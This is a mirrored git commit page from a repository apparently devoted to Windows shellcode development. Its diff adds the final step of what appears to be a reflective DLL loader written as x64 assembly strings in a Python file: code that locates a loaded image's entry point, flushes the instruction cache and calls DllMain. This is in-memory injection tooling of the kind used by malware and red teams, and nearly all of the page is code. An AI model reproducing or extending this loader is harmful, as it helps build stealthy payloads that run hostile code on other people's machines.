admin/violet-devsec-win-shellcode-dev
1
0
Fork 0
mirror of https://github.com/violet-devsec/win-shellcode-dev synced 2026-06-06 16:54:33 +00:00
Code Issues Packages Projects Releases Wiki Activity

calling dll entry point

Browse Source
This commit is contained in:
violet-devsec
2025-07-17 17:54:59 +01:00
parent 31abddf6e8
commit 5426203f1f
1 changed files with 14 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
shellcode.py
+14
View File
@@ -336,6 +336,20 @@ CODE = (
" add qword ptr [rbp+0x60], r9 ;" # get the next entry in the relocation directory
" jmp iterate_blocks ;"
"end_process_reloc: "
#STEP 6: call images entry point
" xor rbx, rbx ;"
" mov bx, [r12+0x80+0x18+0x10] ;" # ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint (0x10 offset from optional header)
" add rbx, r13 ;" # uiValueA = AddressOfEntryPoint + uiBaseAddress
" mov rcx, 0xffffffffffffffff ;" # Param 1 : (HANDLE)-1
" xor rdx, rdx ;" # Param 2 : NULL
" xor r8, r8 ;" # Param 3 : 0
" call qword ptr [rbp+0x48] ;" # call pNtFlushInstructionCache
" mov rcx, r13 ;" # Param 1 : uiBaseAddress
" mov rdx, 0x1 ;" # Param 2 : DLL_PROCESS_ATTACH
" xor r8, r8 ;" # Param 3 : NULL
#" sub rsp, 0x20 ;" # Make some adjustment on the stack
" call rbx ;" # Call the entry point
#" add rsp, 0x20 ;"
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)